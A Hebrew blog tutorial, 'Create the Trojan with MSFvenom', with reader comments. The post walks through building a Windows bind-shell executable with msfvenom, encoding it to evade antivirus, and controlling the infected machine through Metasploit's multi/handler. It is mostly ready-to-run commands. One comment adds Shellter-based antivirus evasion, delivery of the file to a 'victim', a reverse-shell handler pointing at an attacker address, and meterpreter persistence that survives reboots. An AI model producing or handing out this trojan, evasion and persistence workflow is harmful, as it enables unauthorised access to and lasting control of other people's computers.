צור את הטרויאני עם MSFvenom

By | אפריל 5, 2017

במאמר זה נכיר את הכלי msfvenom וכיצד לעבוד איתו בצורה יעילה

תחילה

מה זה בכלל ShellCode ?

shellcode ,הינו אוסף של תווים אשר מהווים פקודות להרצה על המעבד(opcode).

shellcode  הינו מושג מאד חשוב ונפוץ בעולם ה exploitation, מטרתו בסוף היינה לתת לנו גישת SHELL למחשב ולכן נקרא כך.

לדוגמא הSHELLCODE הבא אמור להריץ את תוכנת המחשבון של ויינדוס על מערכות ההפעלה windows xp sp2

"\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";

נוכל להמיר את ה- shellcode לאסמבלי ולראות את תוכן ה -Shellcode

0:  eb 02                   jmp    0x4
2:  ba c7 93 bf 77          mov    edx,0x77bf93c7
7:  ff d2                   call   edx
9:  cc                      int3
a:  e8 f3 ff ff ff          call   0x2
f:  63 61 6c                arpl   WORD PTR [ecx+0x6c],sp
12: 63                      .byte 0x63

ניתן לראות כי ה-Shellcode כתוב בבסיס 16 או בשמו hex (בסיס הקסדצימלי).

msfvenom

הכלי msfvenom  הינו כלי שבא ביחד עם  חבילת metasploit  ויודע ליצור שלל רב של shellcodes למערכות הפעלה שונות, ולמטרות שונות.

הכלי יודע לייצר Payload גם לכלי meterpreter שהוא הbackdoor של metasploit.

הכלי הינו יחסית כלי חדש אשר בא  להחליף את הכלי הישן msfpayload,

msfvenom בא גם לאחד חלק מיכולות של msfconsole אל תוך msfpayload

סביבת עבודה

סביבת העבודה שלנו היא KALI ניתן להוריד את ההפצה של מערכת ההפעלה מכאן

התחלת העבודה עם msfvenom

נריץ תחילה את הפקודה msfvenom  ונוכל לקבל מידע אודות הכלי

msfvenom

 

עכשיו נרצה לקבל רשימה של כל הpayloads שהכלי יודע לייצר לנו

נריץ:

msfvenom --list

כתוצאה נקבל רשימה של כל הpayloads והמטרה של כל payload

msfvenom payload list

msfvenom payload list

קצת הסבר על bind \ reverse

bind – הקוד אשר יורץ יפתח שרת על המחשב, והתוקף יצטרך להתחבר לשרת

reverse – הקוד אשר יורץ ינסה להתחבר לשרת מרוחק, של התוקף וזאת על מנת לעקוף מנגנוני הגנה

בחירת Payload

נבחר עתה בpayload אשר מתאים לwindows ומסוג bind

msfvenom -p windows/shell/bind_tcp

בכדי לראות את כל המידע על הpayload נוסיף את הflag  הבא payload-option

msfvenom -p windows/shell/bind_tcp --payload-option
msfvenom payload options

msfvenom payload options

נוכל לראות כי כרגע הפורט אשר יפתח יהיה 4444

שינוי מאפייני ה – payload

כדי לשנות את זה (או כל מאפיין אחר שנרצה) נוסיף LPORT=443 בדוגמא הזאת השרת יאזין לפורט 443 נוכל לשנות כל מאפיין אחר באותה צורה

msfvenom -p windows/shell/bind_tcp LPORT=443

המנעות מתווים גרועים

בגלל שהמטרה שלנו היא להכניס את אותו ה- shellcode כ input בתוכנות פגיעות, ומהסיבה שאנחנו מסתכלים עליו כעל string ומרצים פוניקציות (לדוגמא strcpy) אשר עובדות על מחרוזות .

נרצה שה- shellcode לא יכיל תווים בעייתיים  לדוגמא \x00 המייצג סיום מחרוזת

בשביל זה נשתמש בflag הבא -b

רשימה מלאה של תווים שכדי להוריד: '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'

msfvenom -p windows/shell/bind_tcp LPORT=443 -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'

 

קידוד

על מנת להתחמק מאנטי וירוסים נוכל לקודד את ה -Payload שלנו דוגמא לקידוד נחמד יהיה shikata_ga_nai

כדי לראות את כל הencoders הקיימים נוכל להריץ את הפקודה

msfvenom -l encoders

התוצאה שנקבל:

msfvenom encoder list

msfvenom encoder list

msfvenom -p windows/shell/bind_tcp LPORT=443 -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b' -e x86/shikata_ga_nai

ייצור קובץ הרצה

על מנת לקבל את התוצאה של ההרצה נשתמש בשני Flugs חשובים

-f לפורמט התוצאה

-o לנתיב שבו נרצה לשמור את הקובץ

הפקודה .הבאה תעזור לנו לקבל את כל הפורמטים האפשרים

 msfvenom --help-format

אנחנו נרצה לשמור את הקובץ קובץ בינארי להרצה בווינדוס לכן נבחר ב – exe

ונכניס נתיב ל Desktop שלנו

msfvenom -p windows/shell/bind_tcp LPORT=443 -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b' -e x86/shikata_ga_nai -f exe -o ~/Desktop/trojan_bind_tcp_443.exe
msfvenom create trojan

msfvenom create trojan

 

עתה נלך לשולחן העבודה ונוכל לראות כי הקובץ אכן נוצר

msfvenom final exe

msfvenom final exe

 

התחברות לטרויאן

נקח את הקובץ ונפעיל אותו על המחשב אשר אליו אנחנו רוצים להתחבר

תחת הkali נכנס ל metasploit ע"י הפקודה msfconsole

נקיש את הסט פקודות הבא

use exploit/multi/handler
set payload windows/x86/shell/bind_tcp
show options
msfconsole multi handler commands

msfconsole multi handler commands

נוכל לראות כי נצטרך להכניס לו את הערכים LPORT ו – RHOST .

בrhost נכניס את האיפי של המחשב הנבדק

ובlport נכניס את הפורט שהגדרנו

set RHOST <ip>
set LPORT <PORT>
exploit -j

נוכל לראות כי הצלחנו להתחבר למחשב המרוחק בהצלחה

meterpreter connection

meterpreter connection

דברי סיכום

זהו, מקווה שנהניתם, אתם מוזמנים להרשם לניוזלטר שלנו (פה מצד ימין) בכדי לקבל עדכונים על פוסטים חדשים.

דירוג

Comments

comments

2 thoughts on “צור את הטרויאני עם MSFvenom

  1. Gif

    אני לא רואה ברשימת המקודדים את shikata_ga_nai דבר שני – יש לך שם powershell base 64 שהוא לכאורה יותר יעיל

     
    Reply
  2. mickey belisha מיקי בלישה

    MSFVENOM כלי משעמם ולא רלוונטי, עדיף כבר shellter.exe.
    התוקף 192.168.1.10
    wine shellter.exe
    לאחר שבדקנו obfuscation בטח לא בוירוסטוטאל השייך לגוגל אלא בMETASCAN ONLINE
    נשלח את הקובץ לקורבן או דרך לינק הזרקה.
    יש לציין כי SHELLTER בורח ב99% מכל אנטי וירוס חוץ מAVIRA.
    use exploit/multi/handler
    set payload windws/meterpreter/reverse_tcp
    set lhost 192.168.1.10
    set lpor 4545
    exploit

    לאחר מכן כשבדקנו שיש דלת אחורית והאקספךויט עובד ישיר, ממשיכים הלאה לPERSISTENCE:
    meterpreter> run persistence -U -i 5 -p 4545 -r 192.168.1.10
    כרגע החיבור שלנו קבוע גם אם הקורבן יאתחל את המחשב שלו על ידי הקשת EXPLOIT

     
    Reply

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *